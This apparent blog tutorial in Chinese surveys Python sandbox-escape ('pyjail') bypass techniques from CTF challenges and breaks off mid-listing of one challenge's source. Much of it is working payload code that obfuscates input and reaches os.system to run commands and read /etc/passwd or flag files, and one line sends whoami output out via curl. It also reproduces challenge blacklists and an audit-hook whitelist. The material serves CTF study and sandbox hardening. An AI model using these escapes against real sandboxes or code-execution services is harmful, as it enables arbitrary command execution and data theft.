CTF Pyjail 沙箱逃逸原理合集 可见 https://dummykitty.github.io/posts/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%8E%9F%E7%90%86/
承接上一篇CTF Pyjail 沙箱逃逸原理合集，本文主要来谈谈绕过手法，Pyjail 绕过过滤的手法千奇百怪, 本文在复现经典历史赛题的基础上，针对不同的沙箱类型对绕过手法进行了分类，篇幅较长敬请理解。
- 绕过删除模块或方法
- 绕过基于字符串匹配的过滤
- 绕过长度限制
- 绕过命名空间限制
- 绕过多行限制
- 变量覆盖与函数篡改
- 绕过 audit hook
- 绕过 AST 沙箱
绕过删除模块或方法
在一些沙箱中，可能会对某些模块或者模块的某些方法使用 del 关键字进行删除。
例如删除 builtins 模块的 eval 方法。
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
reload 重新加载
reload 函数可以重新加载模块，这样被删除的函数能被重新加载
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>
在 Python 3 中，reload() 函数被移动到 importlib 模块中，所以如果要使用 reload() 函数，需要先导入 importlib 模块。
恢复 sys.modules
一些过滤中可能将 sys.modules['os'] 进行修改. 这个时候即使将 os 模块导入进来,也是无法使用的.
>>> sys.modules['os'] = 'not allowed'
>>> __import__('os').system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
由于很多别的命令执行库也使用到了 os,因此也会受到相应的影响,例如 subprocess
>>> __import__('subprocess').Popen('whoami', shell=True)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 688, in <module>
class Popen(object):
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 1708, in Popen
def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,
AttributeError: 'str' object has no attribute 'WIFSIGNALED'
由于 import 导入模块时会检查 sys.modules 中是否已经有这个类，如果有则不加载,没有则加载.因此我们只需要将 os 模块删除,然后再次导入即可.
sys.modules['os'] = 'not allowed' # oj 为你加的
del sys.modules['os']
import os
os.system('ls')
基于继承链获取
在清空了 __builtins__的情况下，我们也可以通过索引 subclasses 来找到这些内建函数。
# 根据环境找到 bytes 的索引，此处为 5
>>> ().__class__.__base__.__subclasses__()[5]
<class 'bytes'>
绕过基于字符串匹配的过滤
字符串变换
字符串拼接
在我们的 payload 中，例如如下的 payload，__builtins__ file 这些字符串如果被过滤了，就可以使用字符串变换的方式进行绕过。
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()
当然，如果过滤的是 __class__ 或者 __mro__ 这样的属性名，就无法采用变形来绕过了。
base64 变形
base64 也可以运用到其中
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
0
逆序
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
kali
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
kali
注意 exec 与 eval 在执行上有所差异。
进制转换
八进制：
exec("print('RCE'); __import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
exp:
s = "eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])"
octal_string = "".join([f"\\{oct(ord(c))[2:]}" for c in s])
print(octal_string)
十六进制：
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
exp:
s = "eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))"
octal_string = "".join([f"\\x{hex(ord(c))[2:]}" for c in s])
print(octal_string)
其他编码
hex、rot13、base32 等。
过滤了属性名或者函数名
在 payload 的构造中，我们大量的使用了各种类中的属性，例如 __class__、__import__ 等。
getattr 函数
getattr 是 Python 的内置函数，用于获取一个对象的属性或者方法。其语法如下：
getattr(object, name[, default])
这里，object 是对象，name 是字符串，代表要获取的属性的名称。如果提供了 default 参数，当属性不存在时会返回这个值，否则会抛出 AttributeError。
>>> getattr({},'__class__')
<class 'dict'>
>>> getattr(os,'system')
<built-in function system>
>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
>>> getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
这样一来，就可以将 payload 中的属性名转化为字符串，字符串的变换方式多种多样，更易于绕过黑名单。
__getattribute__ 函数
__getattribute__ 于，它定义了当我们尝试获取一个对象的属性时应该进行的操作。
它的基本语法如下：
class MyClass:
def __getattribute__(self, name):
getattr 函数在调用时，实际上就是调用这个类的 __getattribute__ 方法。
>>> os.__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
>>> os.__getattribute__('system')
<built-in function system>
__getattr__ 函数
__getattr__ 是 Python 的一个特殊方法，当尝试访问一个对象的不存在的属性时，它就会被调用。它允许一个对象动态地返回一个属性值，或者抛出一个 AttributeError 异常。
如下是 __getattr__ 方法的基本形式：
class MyClass:
def __getattr__(self, name):
return 'You tried to get ' + name
在这个例子中，任何你尝试访问的不存在的属性都会返回一个字符串，形如 "You tried to get X"，其中 X 是你尝试访问的属性名。
与 __getattribute__ 不同，__getattr__ 只有在属性查找失败时才会被调用，这使得 __getattribute__ 可以用来更为全面地控制属性访问。
如果在一个类中同时定义了 __getattr__ 和 __getattribute__，那么无论属性是否存在，__getattribute__ 都会被首先调用。只有当 __getattribute__ 抛出 AttributeError 异常时，__getattr__ 才会被调用。
另外，所有的类都会有__getattribute__属性，而不一定有__getattr__属性。
__globals__ 替换
__globals__ 可以用 func_globals 直接替换；
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")
__mro__、__bases__、__base__互换
三者之间可以相互替换
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
过滤 import
python 中除了可以使用 import 来导入，还可以使用 __import__ 和 importlib.import_module 来导入模块
__import__
__import__('os')
importlib.import_module
不过 importlib 也需要导入,所以有些鸡肋.
import importlib
importlib.import_module('os').system('ls')
注意：importlib 需要进行导入之后才能够使用
__loader__.load_module
如果使用 audithook 的方式进行过滤,上面的两种方法就无法使用了,但是 __loader__.load_module 底层实现与 import 不同, 因此某些情况下可以绕过.
>>> __loader__.load_module('os')
<module 'os' (built-in)>
过滤了 []
如果中括号被过滤了，则可以使用如下的两种方式来绕过：
- 调用
__getitem__()函数直接替换； - 调用 pop()函数（用于移除列表中的一个元素，默认最后一个元素，并且返回该元素的值）替换；
''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')
# pop()替换中括号[]，结合__getitem__()利用
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')
getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')
过滤了 ''
str 函数
如果过滤了引号，我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str() 函数获取字符串，然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。
>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
>>> str(().__class__.__new__)[21]
'w'
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'
chr 函数
也可以使用 chr 加数字来构造字符串
>>> chr(56)
'8'
>>> chr(100)
'd'
>>> chr(100)*40
'dddddddddddddddddddddddddddddddddddddddd'
list + dict
使用 dict 和 list 进行配合可以将变量名转化为字符串，但这种方式的弊端在于字符串中不能有空格等。
list(dict(whoami=1))[0]
__doc__
__doc__ 变量可以获取到类的说明信息，从其中索引出想要的字符然后进行拼接就可以得到字符串：
().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]
bytes 函数
bytes 函数可以接收一个 ascii 列表，然后转换为二进制字符串，再调用 decode 则可以得到字符串
bytes([115, 121, 115, 116, 101, 109]).decode()
过滤了 +
过滤了 + 号主要影响到了构造字符串，假如题目过滤了引号和加号，构造字符串还可以使用 join 函数，初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__ 中取，
str().join(().__doc__[19],().__doc__[23])
过滤了数字
如果过滤了数字的话，可以使用一些函数的返回值获取。例如：
0：int(bool([]))、Flase、len([])、any(())
1：int(bool([""]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop())
有了 0 之后，其他的数字可以通过运算进行获取：
0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4当然，也可以直接通过 repr 获取一些比较长字符串，然后使用 len 获取大整数。
>>> len(repr(True))
4
>>> len(repr(bytearray))
19
第三种方法，可以使用 len + dict + list 来构造,这种方式可以避免运算符的的出现
0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])
第四种方法: unicode
会在后续的 unicode 绕过中介绍
过滤了空格
通过 ()、[] 替换
过滤了运算符
== 可以用 in 来替换
or 可以用| + -。。。-来替换
例如
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)
and 可以用& *替代
例如
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)
过滤了 ()
- 利用装饰器 @
- 利用魔术方法，例如
enum.EnumMeta.__getitem__
f 字符串执行
f 字符串算不上一个绕过，更像是一种新的攻击面，通常情况下用来获取敏感上下文信息,例如过去环境变量
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
也可以直接 RCE
>>> f'{__import__("os").system("whoami")}'
kali
'0'
>>> f"{__builtins__.__import__('os').__dict__['popen']('ls').read()}"
反序列化绕过
过滤了内建函数
eval + list + dict 构造
假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等，则可以使用 eval 进行绕过。
>>> eval('str')
<class 'str'>
>>> eval('bool')
<class 'bool'>
>>> eval('st'+'r')
<class 'str'>
这样就可以将函数名转化为字符串的形式，进而可以利用字符串的变换来进行绕过。
>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>
这样一来，只要 list 和 dict 没有被禁，就可以获取到任意的内建函数。如果某个模块已经被导入了，则也可以获取这个模块中的函数。
过滤了 . 和 ，如何获取函数
通常情况下，我们会通过点号来进行调用__import__('binascii').a2b_base64
或者通过 getattr 函数：getattr(__import__('binascii'),'a2b_base64')
如果将 , 号和 . 都过滤了，则可以有如下的几种方式获取函数：
- 内建函数可以使用
eval(list(dict(s_t_r=1))[0][::2])这样的方式获取。 - 模块内的函数可以先使用
__import__导入函数，然后使用 vars() j进行获取：>>> vars(__import__('binascii'))['a2b_base64'] <built-in function a2b_base64>
unicode 绕过
Python 3 开始支持非ASCII字符的标识符，也就是说，可以使用 Unicode 字符作为 Python 的变量名，函数名等。Python 在解析代码时，使用的 Unicode Normalization Form KC (NFKC) 规范化算法，这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。
相似 unicode 寻找网站：http://shapecatcher.com/
可以通过绘制的方式寻找相似字符
下面是 0-9,a-z 的 unicode 字符
下划线可以使用对应的全角字符进行替换：
＿使用时注意第一个字符不能为全角，否则会报错：
>>> print(_＿name_＿)
__main__
>>> print(＿＿name_＿)
File "<stdin>", line 1
print(＿＿name_＿)
^
SyntaxError: invalid character '＿' (U+FF3F)
需要注意的是，某些 unicode 在遇到 lower() 函数时也会发生变换，因此碰到 lower()、upper() 这样的函数时要格外注意。
绕过命名空间限制
部分限制
有些沙箱在构建时使用 exec 来执行命令，exec 函数的第二个参数可以指定命名空间，通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。
def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)
def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
...
exec command in _global # do calculate in a sandboxed
...
- 沙箱首先获取
__builtins__，然后依据现有的__builtins__来构建命名空间。 - 修改
__import__函数为自定义的_hook_import_ - 删除 open 函数防止文件操作
- exec 命令。
绕过方式：
由于 exec 运行在特定的命名空间里，可以通过获取其他命名空间里的 __builtins__（这个__builtins__保存的就是原始__builtins__的引用），比如 types 库，来执行任意命令：
__import__('types').__builtins__
__import__('string').__builtins__
完全限制(no builtins)
如果沙箱完全清空了 __builtins__, 则无法使用 import,如下：
>>> eval("__import__", {"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
>>> eval("__import__")
<built-in function __import__>
>>> exec("import os")
>>> exec("import os",{"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
ImportError: __import__ not found
这种情况下我们就需要利用 python 继承链来绕过，其步骤简单来说，就是通过 python 继承链获取内置类, 然后通过这些内置类获取到敏感方法例如 os.system 然后再进行利用。
具体原理可见：Python沙箱逃逸小结
常见的一些 payload 如下:
RCE
# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
# subprocess
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')
# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]
# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())
# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
File
操作文件可以使用 builtins 中的 open，也可以使用 FileLoader 模块的 get_data 方法。
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")
绕过长度限制
BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
题目限制不能出现数字字母，构造的目标是调用 open 函数进行读取
print(open(bytes([102,108,97,103,46,116,120,116])).read())
函数名比较好绕过，直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).
# f = 102 = 333-231 = ord('ō')-ord('ç')
# a = 108 = 333-225 = ord('ō')-ord('á')
# l = 97 = 333-236 = ord('ō')-ord('ì')
# g = 103 = 333-230 = ord('ō')-ord('æ')
# . = 46 = 333-287 = ord('ō')-ord('ğ')
# t = 116 = 333-217 = ord('ō')-ord('Ù')
# x = 120 = = 333-213 = ord('ō')-ord('Õ')
print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())
但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号 ;，这种情况下，我们可以添加一个 exec。然后将 ord 以及不变的 a('ō') 进行替换。这样就可以构造一个满足条件的 payload
exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())")
但其实尝试之后发现这个 payload 会报错，原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化，避免 lower 产生干扰，可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)
当然，可以直接使用 input 函数来绕过长度限制。
打开 input 输入
如果沙箱内执行的内容是通过 input 进行传入的话（不是 web 传参），我们其实可以传入一个 input 打开一个新的输入流，然后再输入最终的 payload，这样就可以绕过所有的防护。
以 BYUCTF2023 jail a-z0-9 为例：
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
即使限制了字母数字以及长度，我们可以直接传入下面的 payload（注意是 unicode）
()
这段 payload 打开 input 输入后，我们再输入最终的 payload 就可以正常执行。
__import__('os').system('whoami')
打开输入流需要依赖 input 函数，no builtins 的环境中或者题目需要以 http 请求的方式进行输入时，这种方法就无法使用了。
下面是一些打开输入流的方式:
sys.stdin.read()
注意输入完毕之后按 ctrl+d 结束输入
>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>
sys.stdin.readline()
>>> eval(sys.stdin.readline())
__import__('os').system('whoami')
sys.stdin.readlines()
>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')
在 python2 中，在python 2中，input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。
breakpoint 函数
pdb 模块定义了一个交互式源代码调试器，用于 Python 程序。它支持在源码行间设置（有条件的）断点和单步执行，检视堆栈帧，列出源码列表，以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试，可以在程序控制下调用。
在输入 breakpoint() 后可以代开 Pdb 代码调试器，在其中就可以执行任意 python 代码
help 函数
help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
当我们输入 help 时，注意要进行 unicode 编码，help 函数会打开帮助
然后输入 os,此时会进入 os 的帮助文档。
help> os
然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash
help> os
$ ls
a-z0-9.py exp2.py exp.py flag.txt
$
绕过多行限制
绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如 eval, 中间如果存在；或者换行会报错。
>>> eval("__import__('os');print(1)")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1
__import__('os');print(1)
exec
exec 可以支持换行符与;
>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1
compile
compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码.
eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')
海象表达式
海象表达式是 Python 3.8 引入的一种新的语法特性，用于在表达式中同时进行赋值和比较操作。
海象表达式的语法形式如下：
<expression> := <value> if <condition> else <value>
借助海象表达式，我们可以通过列表来替代多行代码：
>>> eval('[a:=__import__("os"),b:=a.system("id")]')
uid=1000(kali) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
[<module 'os' (frozen)>, 0]
变量覆盖与函数篡改
在 Python 中，sys 模块提供了许多与 Python 解释器和其环境交互的功能，包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.
sys.modules 存放了现有模块的引用, 通过访问 sys.modules['__main__'] 就可以访问当当前模块定义的所有函数以及全局变量
>>> aaa = 'bbb'
>>> def my_input():
... dict_global = dict()
... while True:
... try:
... input_data = input("> ")
... except EOFError:
... print()
... break
... except KeyboardInterrupt:
... print('bye~~')
... continue
... if input_data == '':
... continue
... try:
... complie_code = compile(input_data, '<string>', 'single')
... except SyntaxError as err:
... print(err)
... continue
... try:
... exec(complie_code, dict_global)
... except Exception as err:
... print(err)
...
>>> import sys
>>> sys.modules['__main__']
<module '__main__' (built-in)>
>>> dir(sys.modules['__main__'])
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'aaa', 'my_input', 'sys']
>>> sys.modules['__main__'].aaa
'bbb'
除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数等,这只是一个思路.
总体来说,只要获取了某个函数或者变量就可以篡改, 难点就在于获取.
利用 gc 获取已删除模块
这个思路来源于 writeup by fab1ano – github
这道题的目标是覆盖 __main__ 中的 __exit 函数,但是题目将 sys.modules['__main__'] 删除了,无法直接获取.
for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]
gc 是Python的内置模块，全名为"garbage collector"，中文译为"垃圾回收"。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。
Python 使用了引用计数作为其主要的内存管理机制，同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数，让你可以直接控制这个循环垃圾回收器。
下面是一些 gc 模块中的主要函数：
gc.collect(generation=2)：这个函数会立即触发一次垃圾回收。你可以通过generation参数指定要收集的代数。Python 的垃圾回收器是分代的，新创建的对象在第一代，经历过一次垃圾回收后仍然存活的对象会被移到下一代。gc.get_objects()：这个函数会返回当前被管理的所有对象的列表。gc.get_referrers(*objs)：这个函数会返回指向objs中任何一个对象的对象列表。
exp 如下
for obj in gc.get_objects():
if '__name__' in dir(obj):
if '__main__' in obj.__name__:
print('Found module __main__')
mod_main = obj
if 'os' == obj.__name__:
print('Found module os')
mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")
在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.
利用 traceback 获取模块
这个思路来源于 writeup by hstocks – github
主动抛出异常, 并获取其后要执行的代码, 然后将__exit 进行替换, 思路也是十分巧妙.
try:
raise Exception()
except Exception as e:
_, _, tb = sys.exc_info()
nxt_frame = tb.tb_frame
# Walk up stack frames until we find one which
# has a reference to the audit function
while nxt_frame:
if 'audit' in nxt_frame.f_globals:
break
nxt_frame = nxt_frame.f_back
# Neuter the __exit function
nxt_frame.f_globals['__exit'] = print
# Now we're free to call whatever we want
os.system('cat /flag*')
但是实际测试时使用 python 3.11 发现 nxt_frame = tb.tb_frame 会触发 object.__getattr__ hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本)中适用
绕过 audit hook
Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同，且可能会随着 Python 解释器的更新而变动。
Python 中的审计事件包括但不限于以下几类：
import：发生在导入模块时。open：发生在打开文件时。write：发生在写入文件时。exec：发生在执行Python代码时。compile：发生在编译Python代码时。socket：发生在创建或使用网络套接字时。os.system，os.popen等：发生在执行操作系统命令时。subprocess.Popen，subprocess.run等：发生在启动子进程时。
PEP 578 – Python Runtime Audit Hooks
calc_jail_beginner_level6 这道题中使用了 audithook 构建沙箱,采用白名单来进行限制.audit hook 属于 python 底层的实现,因此常规的变换根本无法绕过.
题目源码如下:
import sys
def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))
def my_input():
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
def main():
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
'''
CODE = '''
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
